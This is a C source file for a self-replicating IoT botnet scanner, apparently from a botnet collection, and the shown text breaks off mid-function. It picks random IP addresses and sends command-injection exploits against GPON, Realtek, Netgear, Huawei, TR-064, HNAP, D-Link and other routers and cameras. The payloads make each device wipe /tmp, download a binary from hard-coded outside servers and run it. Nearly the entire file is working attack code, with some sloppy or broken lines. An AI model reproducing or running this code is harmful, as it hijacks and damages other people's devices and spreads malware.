Path: blob/master/Botnets/Self Reps/MULTI SELFREP/13exploit1selfrepFIXED.c
5038 views
#ifdef SELFREP1#define _GNU_SOURCE2//BY ROOTSEC3#ifdef DEBUG4#include <stdio.h>5#endif67#include <stdlib.h>8#include <stdarg.h>9#include <stdio.h>10#include <sys/socket.h>11#include <sys/types.h>12#include <netinet/in.h>13#include <arpa/inet.h>14#include <netdb.h>15#include <signal.h>16#include <strings.h>17#include <string.h>18#include <sys/utsname.h>19#include <unistd.h>20#include <fcntl.h>21#include <errno.h>22#include <netinet/udp.h>23#include <netinet/tcp.h>24#include <sys/wait.h>25#include <sys/ioctl.h>26#include <net/if.h>2728#include "includes.h"29#include "table.h"30#include "rand.h"31#include "util.h"32#include "checksum.h"33#include "resolv.h"34#include "scanner.h"35//13 EXPLOIT SELFREP SCANNER36int GPON1_Range [] = {187,189,200,201,207};37int GPON2_Range [] = {1,2,5,31,37,41,42,58,62,78,82,84,88,89,91,92,95,103,113,118,145,147,178,183,185,195,210,212};38//int NETIS_Range [] = {1,14,27,36,39,40,42,47,49,58,59,60,61,62,94,101,103,104,106,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,139,140,144,150,153,163,171,175,180,182,183,193,202,203,210,211,216,218,219,220,221,222,223};3940int scanner_pid, scanner2_pid, scanner3_pid, scanner4_pid, scanner5_pid, scanner6_pid, scanner7_pid, scanner8_pid, scanner9_pid, scanner10_pid, scanner11_pid, scanner12_pid, scanner13_pid, timeout = 100000;41static uint8_t ipState[40] = {0};42int max = 0, i = 0;4344int socket_connect_tcp(char *host, in_port_t port) // tcp socket for sending POST/GET requests45{46struct hostent *hp;47struct sockaddr_in addr;48int on = 1, sock;49struct timeval timeout;50timeout.tv_sec = 3; // 3 sec timeout on socket51timeout.tv_usec = 0;52if ((hp = gethostbyname(host)) == NULL) return 0;53bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);54addr.sin_port = htons(port);55addr.sin_family = AF_INET;56sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);57setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));58if (sock == -1) return 0;59if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;60return sock;61}6263int socket_connect_udp(char *host, in_port_t port) // udp socket for netis explotation64{65}6667void exploit_socket_gpon8080(unsigned char *host)68{69scanner3_pid = fork();7071if (scanner3_pid > 0 || scanner3_pid == -1)72return;7374int gpon_socket1;75char gpon_request1[1024];7677gpon_socket1 = socket_connect_tcp((char *)host, 8080);7879sprintf(gpon_request1, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://176.32.33.88/gpon8080+-O+->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0");8081if (gpon_socket1 != 0)82{83write(gpon_socket1, gpon_request1, strlen(gpon_request1));84usleep(200000);85close(gpon_socket1);86#ifdef DEBUG87printf("[gpon_8080] exploitable %s\n", host);88#endif89}90exit(0);91}9293void exploit_socket_gpon80(unsigned char *host)94{95scanner4_pid = fork();9697if (scanner4_pid > 0 || scanner4_pid == -1)98return;99100int gpon_socket2;101char gpon_request2[1024];102103gpon_socket2 = socket_connect_tcp((char *)host, 80);104105sprintf(gpon_request2, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://176.32.33.88/gpon80+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0");106107if (gpon_socket2 != 0)108{109write(gpon_socket2, gpon_request2, strlen(gpon_request2));110usleep(200000);111close(gpon_socket2);112#ifdef DEBUG113printf("[gpon_80] exploitable %s\n", host);114#endif115}116exit(0);117}118119void exploit_socket_realtek(unsigned char *host)120{121scanner5_pid = fork();122123if (scanner5_pid > 0 || scanner5_pid == -1)124return;125126int realtek_socket;127char realtek_request[1024], realtek_request2[1024];128129realtek_socket = socket_connect_tcp((char *)host, 52869);130131sprintf(realtek_request, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf*; wget http://209.141.42.3/realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);132sprintf(realtek_request2, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x realtek;./realtek realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);133134if (realtek_socket != 0)135{136write(realtek_socket, realtek_request, strlen(realtek_request));137sleep(5);138write(realtek_socket, realtek_request2, strlen(realtek_request2));139usleep(200000);140close(realtek_socket);141#ifdef DEBUG142printf("[realtek] exploitable %s\n", host);143#endif144}145exit(0);146}147148void exploit_socket_netgear(unsigned char *host)149{150scanner6_pid = fork();151152if (scanner6_pid > 0 || scanner6_pid == -1)153return;154155int netgear_socket, netgear_socket2;156char netgear_request[1024];157158netgear_socket = socket_connect_tcp((char *)host, 8080);159netgear_socket2 = socket_connect_tcp((char *)host, 80);160161sprintf(netgear_request, "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://176.32.33.88/netgear+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0\r\n\r\n");162163if (netgear_socket != 0)164{165write(netgear_socket, netgear_request, strlen(netgear_request));166usleep(200000);167close(netgear_socket);168#ifdef DEBUG169printf("[netgear_8080] exploitable %s\n", host);170#endif171}172if (netgear_socket2 != 0)173{174write(netgear_socket2, netgear_request, strlen(netgear_request));175usleep(200000);176close(netgear_socket2);177#ifdef DEBUG178printf("[netgear_80] exploitable %s\n", host);179#endif180}181exit(0);182}183184void exploit_socket_huawei(unsigned char *host)185{186scanner6_pid = fork();187188if (scanner6_pid > 0 || scanner6_pid == -1)189return;190191int huawei_socket;192char huawei_request[1024];193194huawei_socket = socket_connect_tcp((char *)host, 37215);195196sprintf(huawei_request, "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: %s:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 176.32.33.88 -l /tmp/huawei -r /huawei; sh /tmp/huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>", host);197198if (huawei_socket != 0)199{200write(huawei_socket, huawei_request, strlen(huawei_request));201usleep(200000);202close(huawei_socket);203#ifdef DEBUG204printf("[huawei] exploitable %s\n", host);205#endif206}207exit(0);208}209210void exploit_socket_tr064(unsigned char *host)211{212scanner7_pid = fork();213214if (scanner7_pid > 0 || scanner7_pid == -1)215return;216217int tr064_socket, tr064_socket2;218char tr064_request[1024], tr064_request2[1024];219220tr064_socket = socket_connect_tcp((char *)host, 7574);221tr064_socket2 = socket_connect_tcp((char *)host, 5555);222223sprintf(tr064_request, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://176.32.33.88/tr064 && sh /tmp/tr064`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);224sprintf(tr064_request2, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:5555\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://176.32.33.88/tr064 && sh /tmp/tr064`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);225226if (tr064_socket != 0)227{228write(tr064_socket, tr064_request, strlen(tr064_request));229usleep(200000);230close(tr064_socket);231#ifdef DEBUG232printf("[tr064_7574] exploitable %s\n", host);233#endif234}235if (tr064_socket2 != 0)236{237write(tr064_socket2, tr064_request2, strlen(tr064_request2));238usleep(200000);239close(tr064_socket2);240#ifdef DEBUG241printf("[tr064_5555] exploitable %s\n", host);242#endif243}244exit(0);245}246247void exploit_socket_hnap(unsigned char *host)248{249scanner8_pid = fork();250251if (scanner8_pid > 0 || scanner8_pid == -1)252return;253254int hnap_socket;255char hnap_request[1024];256257hnap_socket = socket_connect_tcp((char *)host, 80);258259sprintf(hnap_request, "POST /HNAP1/ HTTP/1.0\r\nHost: %s:80\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://176.32.33.88/hnap && sh /tmp/hnap`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n", host);260261if (hnap_socket != 0)262{263write(hnap_socket, hnap_request, strlen(hnap_request));264usleep(200000);265close(hnap_socket);266#ifdef DEBUG267printf("[hnap] exploitable %s\n", host);268#endif269}270exit(0);271}272273void exploit_socket_crossweb(unsigned char *host)274{275scanner9_pid = fork();276277if (scanner9_pid > 0 || scanner9_pid == -1)278return;279280int crossweb_socket;281char crossweb_request[1024];282283crossweb_socket = socket_connect_tcp((char *)host, 81);284285sprintf(crossweb_request, "GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://176.32.33.88/crossweb;sh${IFS}/tmp/crossweb&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n");286287if (crossweb_socket != 0)288{289write(crossweb_socket, crossweb_request, strlen(crossweb_request));290usleep(200000);291close(crossweb_socket);292#ifdef DEBUG293printf("[crossweb] exploitable %s\n", host);294#endif295}296exit(0);297}298299void exploit_socket_jaws(unsigned char *host)300{301scanner10_pid = fork();302303if (scanner10_pid > 0 || scanner10_pid == -1)304return;305306int jaws_socket;307char jaws_request[1024];308309jaws_socket = socket_connect_tcp((char *)host, 80);310311sprintf(jaws_request, "GET /shell?cd+/tmp;rm+-rf+*;wget+http://176.32.33.88/jaws;sh+/tmp/jaws HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nHost: %s:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n", host);312313if (jaws_socket != 0)314{315write(jaws_socket, jaws_request, strlen(jaws_request));316usleep(200000);317close(jaws_socket);318#ifdef DEBUG319printf("[jaws] exploitable %s\n", host);320#endif321}322exit(0);323}324325void exploit_socket_dlink(unsigned char *host)326{327scanner11_pid = fork();328329if (scanner11_pid > 0 || scanner11_pid == -1)330return;331332int dlink_socket;333char dlink_request[1024];334335dlink_socket = socket_connect_tcp((char *)host, 49152);336337sprintf(dlink_request, "POST /soap.cgi?service=WANIPConn1 HTTP/1.1\r\nHost: %s:49152\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://176.32.33.88/dlink;sh /tmp/dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>\r\n\r\n", host);338339if (dlink_socket != 0)340{341write(dlink_socket, dlink_request, strlen(dlink_request));342usleep(200000);343close(dlink_socket);344#ifdef DEBUG345printf("[dlink] exploitable %s\n", host);346#endif347}348exit(0);349}350351void exploit_socket_r7064(unsigned char *host)352{353scanner12_pid = fork();354355if (scanner12_pid > 0 || scanner12_pid == -1)356return;357358int r7064_socket;359char r7064_request[1024];360361r7064_socket = socket_connect_tcp((char *)host, 8443);362363sprintf(r7064_request, "GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://176.32.33.88/netgear2;${IFS}sh${IFS}/var/tmp/netgear2");364365if (r7064_socket != 0)366{367write(r7064_socket, r7064_request, strlen(r7064_request));368usleep(200000);369close(r7064_socket);370#ifdef DEBUG371printf("[r7064] exploitable %s\n", host);372#endif373}374exit(0);375}376377void exploit_socket_vacron(unsigned char *host)378{379scanner13_pid = fork();380381if (scanner13_pid > 0 || scanner13_pid == -1)382return;383384int vacron_socket;385char vacron_request[1024];386387vacron_socket = socket_connect_tcp((char *)host, 8080);388389sprintf(vacron_request, "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://176.32.33.88/vacron;sh+/tmp/vacron");390391if (vacron_socket != 0)392{393write(vacron_socket, vacron_request, strlen(vacron_request));394usleep(200000);395close(vacron_socket);396#ifdef DEBUG397printf("[vacron] exploitable %s\n", host);398#endif399}400exit(0);401}402403void exploit_socket_awsec2(unsigned char *host)404{405scanner13_pid = fork();406407if (scanner13_pid > 0 || scanner13_pid == -1)408return;409410int awsec2_socket;411char awsec2_request[1024];412413awsec2_socket = socket_connect_tcp((char *)host, 8080);414415sprintf(awsec2_request, "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://176.32.33.88/awsec2;sh+/tmp/awsec2");416417if (awsec2_socket != 0)418{419write(awsec2_socket, awsec2_request, strlen(vacron_request));420usleep(200000);421close(awsec2_socket);422#ifdef DEBUG423printf("[awsec2] exploitable %s\n", host);424#endif425}426exit(0);427}428429void GPON8080_IPGen()430{431char gpon_ip1[16] = {0};char gpon_ip2[16] = {0};char gpon_ip3[16] = {0};432char gpon_ip4[16] = {0};char gpon_ip5[16] = {0};char gpon_ip6[16] = {0};433434srand(time(NULL));435int gpon_range1 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range2 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range3 = rand() % (sizeof(GPON1_Range)/sizeof(char *));436int gpon_range4 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range5 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range6 = rand() % (sizeof(GPON1_Range)/sizeof(char *));437438ipState[0] = GPON1_Range[gpon_range1];ipState[4] = GPON1_Range[gpon_range2];ipState[8] = GPON1_Range[gpon_range3];439ipState[12] = GPON1_Range[gpon_range4];ipState[16] = GPON1_Range[gpon_range5];ipState[20] = GPON1_Range[gpon_range6];440ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;441ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;442ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;443444sprintf(gpon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);445sprintf(gpon_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);446sprintf(gpon_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);447448exploit_socket_gpon8080(gpon_ip1);exploit_socket_gpon8080(gpon_ip2);exploit_socket_gpon8080(gpon_ip3);exploit_socket_gpon8080(gpon_ip4);exploit_socket_gpon8080(gpon_ip5);exploit_socket_gpon8080(gpon_ip6);449}450451void GPON80_IPGen()452{453char gpon2_ip1[16] = {0};char gpon2_ip2[16] = {0};char gpon2_ip3[16] = {0};454char gpon2_ip4[16] = {0};char gpon2_ip5[16] = {0};char gpon2_ip6[16] = {0};455456srand(time(NULL));457int gpon2_range1 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range2 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range3 = rand() % (sizeof(GPON2_Range)/sizeof(char *));458int gpon2_range4 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range5 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range6 = rand() % (sizeof(GPON2_Range)/sizeof(char *));459460ipState[0] = GPON2_Range[gpon2_range1];ipState[4] = GPON2_Range[gpon2_range2];ipState[8] = GPON2_Range[gpon2_range3];461ipState[12] = GPON2_Range[gpon2_range4];ipState[16] = GPON2_Range[gpon2_range5];ipState[20] = GPON2_Range[gpon2_range6];462ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;463ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;464ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;465466sprintf(gpon2_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon2_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);467sprintf(gpon2_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon2_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);468sprintf(gpon2_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon2_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);469470exploit_socket_gpon80(gpon2_ip1);exploit_socket_gpon80(gpon2_ip2);exploit_socket_gpon80(gpon2_ip3);exploit_socket_gpon80(gpon2_ip4);exploit_socket_gpon80(gpon2_ip5);exploit_socket_gpon80(gpon2_ip6);471}472473void REALTEK_IPGen()474{475char realtek_ip1[16] = {0};char realtek_ip2[16] = {0};char realtek_ip3[16] = {0};char realtek_ip4[16] = {0};char realtek_ip5[16] = {0};476char realtek_ip6[16] = {0};char realtek_ip7[16] = {0};char realtek_ip8[16] = {0};char realtek_ip9[16] = {0};char realtek_ip10[16] = {0};477478srand(time(NULL));479ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;480ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;481ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;482ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;483ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;484ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;485ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;486ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;487488sprintf(realtek_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(realtek_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);489sprintf(realtek_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(realtek_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);490sprintf(realtek_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(realtek_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);491sprintf(realtek_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(realtek_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);492sprintf(realtek_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(realtek_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);493494exploit_socket_realtek(realtek_ip1);exploit_socket_realtek(realtek_ip2);exploit_socket_realtek(realtek_ip3);exploit_socket_realtek(realtek_ip4);exploit_socket_realtek(realtek_ip5);495exploit_socket_realtek(realtek_ip6);exploit_socket_realtek(realtek_ip7);exploit_socket_realtek(realtek_ip8);exploit_socket_realtek(realtek_ip9);exploit_socket_realtek(realtek_ip10);496}497498void NETGEAR_IPGen()499{500char netgear_ip1[16] = {0};char netgear_ip2[16] = {0};char netgear_ip3[16] = {0};char netgear_ip4[16] = {0};char netgear_ip5[16] = {0};501char netgear_ip6[16] = {0};char netgear_ip7[16] = {0};char netgear_ip8[16] = {0};char netgear_ip9[16] = {0};char netgear_ip10[16] = {0};502503srand(time(NULL));504ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;505ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;506ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;507ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;508ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;509ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;510ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;511ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;512513sprintf(netgear_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(netgear_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);514sprintf(netgear_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(netgear_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);515sprintf(netgear_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(netgear_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);516sprintf(netgear_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(netgear_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);517sprintf(netgear_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(netgear_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);518519exploit_socket_netgear(netgear_ip1);exploit_socket_netgear(netgear_ip2);exploit_socket_netgear(netgear_ip3);exploit_socket_netgear(netgear_ip4);exploit_socket_netgear(netgear_ip5);520exploit_socket_netgear(netgear_ip6);exploit_socket_netgear(netgear_ip7);exploit_socket_netgear(netgear_ip8);exploit_socket_netgear(netgear_ip9);exploit_socket_netgear(netgear_ip10);521}522523void HUAWEI_IPGen()524{525char huawei_ip1[16] = {0};char huawei_ip2[16] = {0};char huawei_ip3[16] = {0};char huawei_ip4[16] = {0};char huawei_ip5[16] = {0};526527srand(time(NULL));528ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;529ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;530ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;531ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;532533sprintf(huawei_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(huawei_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], 